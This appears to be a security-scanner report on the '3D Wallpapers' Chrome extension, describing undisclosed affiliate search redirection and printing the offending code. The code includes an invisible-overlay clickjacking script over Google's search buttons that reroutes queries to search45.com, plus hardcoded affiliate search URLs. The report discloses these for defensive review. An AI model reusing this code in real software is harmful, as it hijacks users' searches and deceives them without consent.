Security Warning: High Security Risk
3D Wallpapers
ID: fofbadhopmpnmfbkpmkifnkiahoddapp
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Triplex MediaView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Website
- Visit
3D Wallpapers.
Download our really cool 3D New Tab Wallpaper extension, created specifically for fans of cool 3D Wallpapers Just open a new tab and each new tab will - Show beautiful 3D new tab home screen wallpapers - Providing the best search results by changing your search engine on the new tab to Google - Easy view time of day By clicking "Add to chrome", I accept and agree to installing the 3D Wallpapers Chrome extension and setting Chromeâ„¢ New Tab to that provided by the service and the Privacy(https://triplex.media/privacy_policy.html) and Terms of Use(https://triplex.media/terms.html). Triplex Media, 1/60 Park St, Sydney NSW 2000 [email protected]
The 'yahoo' case is set as the default (selectedSearchEngine = 'yahoo') but is actually routed to find.digital-marketing-ads.com with a hardcoded affiliate ID (gd=SY1003609, searchsource=69). This is an undisclosed affiliate search monetization scheme masquerading as a Yahoo search option. The CWS description claims the extension provides Google search results, but all searches default to this third-party affiliate aggregator, which is unrelated to the extension's stated wallpaper purpose and not disclosed in any privacy policy category.
switch (selectedSearchEngine) { case "google": finalUrl = "https://www.google.com/search?q=" + $("input[name='q']") .val(); break; case "bing": finalUrl = "https://www.bing.com/search?q=" + $("input[name='q']") .val(); break; default: finalUrl = "https://find.digital-marketing-ads.com/results.aspx?gd=SY1003609&searchsource=69&q=" + $( "input[name='q']") .val(); break;}This content script targets Google's search results page (using Google-specific CSS selectors .FPdoLc and .gNO89b for the submit button) and places invisible absolutely-positioned overlays (z-index: 999999999999999) directly over Google's search buttons. When a user types a query and presses Enter or clicks what appears to be Google's search button, their query is silently hijacked to search45.com instead. This constitutes clickjacking of a major search engine to redirect queries to an undisclosed affiliate search service. Although this file is not declared in the bundled manifest.json (no content_scripts key), its presence in the extension bundle indicates prior active deployment or a staged rollout that has not yet been enabled in this version.
$(document) .ready(function() { $(document) .on("click", ".sbct .suggestions-inner-container", function(event) { event.stopPropagation(); location.href = "http://search45.com/search?q=" + $(this) .find(".sbtc") .text(); }); $(document) .on("keyup", 'input[name="q"]', function(event) { if (event.key == "Enter") { location.href = "http://search45.com/search?q=" + $(this) .val(); } if ($('#overlay-google-search1') .length == 0) { $('body') .append(` <div id="overlay-google-search1"></div> `); } if ($('#overlay-google-search2') .length == 0) { $('body') .append(` <div id="overlay-google-search2"></div> `); } $('#overlay-google-search1') .css({ 'position': 'absolute', 'left': window.scrollX + $('.FPdoLc input[name="btnK"]')[0].getBoundingClientRect() .left, 'top': window.scrollY + $('.FPdoLc input[name="btnK"]')[0].getBoundingClientRect() .top, "width": $('.FPdoLc input[name="btnK"]')[0].offsetWidth, "height": $('.FPdoLc input[name="btnK"]')[0].offsetHeight, "z-index": 999999999999999 }); }); $(document) .on("click", '#overlay-google-search1, #overlay-google-search2', function(event) { location.href = "http://search45.com/search?q=" + $('input[name="q"]') .val(); }); });The HTML form's fallback action attribute points to search101.info, a third-party search affiliate domain not disclosed in the privacy policy and unrelated to the extension's stated purpose. If JavaScript is unavailable or the tabCustomizer.js submit handler fails, search queries would be submitted directly to this undisclosed third-party. This provides a secondary undisclosed search monetization channel.
<form method="get" action="https://search101.info/search.php" id="frmSearch">The bundled manifest declares manifest_version 2 and author 'Frooty Studios', while the live CWS listing shows manifest_version 3 and attributes the extension to 'Triplex Media'. The author name discrepancy strongly suggests the extension was transferred or rebranded after initial submission, a pattern associated with extension acquisition for monetization abuse. The manifest version mismatch may indicate the CWS listing was updated without the corresponding ZIP being replaced.
{ "name": "3D Wallpapers", "author": "Frooty Studios", "version": "0.8", "manifest_version": 2, "permissions": []}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.8 | 4 |
Files with findings
4 distinct paths — top paths by unique finding count:
- contentScript/contentScript.js1
- js/tabCustomizer.js1
- manifest.json1
- views/tabs/tabs.html1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.